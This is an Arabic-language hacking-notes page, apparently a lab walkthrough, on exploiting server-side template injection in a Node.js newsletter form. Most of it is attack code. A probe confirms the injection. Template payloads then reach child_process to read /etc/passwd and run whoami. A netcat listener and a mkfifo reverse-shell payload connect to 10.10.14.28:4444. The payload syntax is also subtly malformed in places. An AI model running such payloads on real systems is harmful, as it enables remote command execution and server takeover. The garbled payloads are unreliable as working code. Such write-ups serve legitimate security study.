> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-node.js-pentesting-web.md).

# SSTI Node.js

## حقن القوالب من جهة الخادم (SSTI) (Node.js)

نلاحظ ميزة تتيح للمستخدمين إدخال بريد إلكتروني للاشتراك في النشرة الإخبارية. تعرض استجابة الخادم مدخلنا مباشرةً، ما يشير إلى احتمال وجود **حقن القوالب من جهة الخادم (SSTI)**.

<figure><img src="/files/d2e296d6f85f22039420df775bd9063575e7b58a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dd118a5f08b9ae49c6bc363b91e336d078114e93" alt=""><figcaption></figcaption></figure>

#### اختبار الثغرة

نعترض الطلب باستخدام **Burp Suite** ونختبر هجوم SSTI كلاسيكيًا:

<figure><img src="/files/a8b8649e43aa3f41f289d9afc6ddc3d8a5c9a694" alt=""><figcaption></figcaption></figure>

```json
{{9*9}}

```

إذا كانت الاستجابة تعرض `81`، فهذا يعني أن التطبيق قابل للاستغلال، وهذا هو الحال هنا.

<figure><img src="/files/48da1a07e4009e86650427ab95881263cba57f26" alt=""><figcaption></figcaption></figure>

### قراءة `/etc/passwd`

نستخدم الحمولة أدناه لعرض محتوى `/etc/passwd`:

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')/"))}}

```

{% endcode %}

<figure><img src="/files/0466188bcd3011f9807a034307d3b36f1f4e3039" alt=""><figcaption></figcaption></figure>

#### استرجاع المستخدم الحالي

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('whoami')/")()}}

```

{% endcode %}

نحصل على `david`.

<figure><img src="/files/884720eedc985ed5ed8c958c950224b4ca3327d7" alt=""><figcaption></figcaption></figure>

### شل عكسي عبر SSTI (Node.js)

بدء المستمع على المنفذ **4444**:

```bash
nc -nlvp 4444

```

إرسال حمولة الشل العكسي:

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 4444 >/tmp/f')/")()}}

```

{% endcode %}

الوصول إلى الجهاز الهدف

<figure><img src="/files/7c3d4d5c74f55db1dd6ac59eaa823fe91aeac0eb" alt=""><figcaption></figcaption></figure>


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